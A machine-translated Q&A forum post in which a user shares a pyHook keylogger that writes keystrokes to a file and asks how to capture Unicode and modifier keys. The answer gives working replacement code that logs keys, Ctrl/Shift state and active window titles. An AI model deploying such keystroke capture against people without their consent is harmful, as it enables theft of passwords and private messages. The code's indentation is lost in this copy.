Могу ли я прочитать значения Unicode, используя pyHook?
Я создал простую программу кейлоггинга. Все, что набрано на клавиатуре, отправляется в файл log.txt. Проблема в том, что мой код работает только для кода ASCII. Когда я печатаю греческие символы, к ним относятся как к английским.
Я хочу, чтобы мой код:
- Принять греческие символы или другие языки тоже (как правило, все виды символов)
- Журнал событий, таких как Alt, Ctrl и т. Д.
Мой код до сих пор:
import pyHook , pythoncom , sys , logging , os
file_log = "C:\\Users\\admin\\Desktop\\New folder\\log.txt"
f = open(file_log , 'w')
try:
f.seek(0)
f.truncate()
finally:
f.close()
def OnKeyboardEvent(event):
logging.basicConfig(filename=file_log,level = logging.DEBUG , format='%(message)s')
chr(event.Ascii)
logging.log(10,chr(event.Ascii))
key = chr(event.Ascii)
print key
if (key == 'p'):
os.startfile("C:\\Users\\admin\\Desktop\\New folder\\log.txt")
sys.exit()
return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()
Должна ли моя программа принимать Unicode?
Как это можно сделать?
1 ответ
Я бы предложил вам использовать другой модуль. Я сам пытался использовать PyHook, но это вызывало у меня проблемы при нажатии deadkeys ('`^) Обычно другие языки, которые используют специальные буквы, такие как á, содержат deadkeys. PyHook плохо с ними справляется. Модуль, которым я сейчас пользуюсь, это клавиатура. Клавиатура правильно обрабатывает мертвые клавиши и не показывает странного поведения при столкновении с ними. Может быть, клавиатура - это решение и для вас. Пример использования клавиатуры:
from keyboard import on_press, on_release, wait
from win32gui import GetWindowText, GetForegroundWindow
from datetime import datetime
def display(event, key):
global ctrlpressed, shiftpressed, lastwindow
if lastwindow != GetWindowText(GetForegroundWindow()):
lastwindow = GetWindowText(GetForegroundWindow())
print("New Window: " + lastwindow)
print('{0:8} {1:3} {2:5} {3:5} {4}'.format(datetime.fromtimestamp(event.time).strftime('%H:%M:%S'), event.scan_code, str(ctrlpressed), str(shiftpressed), key))
def KeyPressed(event):
global ctrlpressed, shiftpressed
if(event.name == 'left shift' or event.name == 'right shift'):
shiftpressed = True;
elif(event.name == 'left ctrl' or event.name == 'right ctrl'):
ctrlpressed = True;
else:
display(event, event.name)
def KeyReleased(event):
global ctrlpressed, shiftpressed
if(event.name == 'left shift' or event.name == 'right shift'):
shiftpressed = False;
elif(event.name == 'left ctrl' or event.name == 'right ctrl'):
ctrlpressed = False;
ctrlpressed = shiftpressed = False;
lastwindow = "";
on_press(KeyPressed)
on_release(KeyReleased)
wait()
Проверено на Python 3.5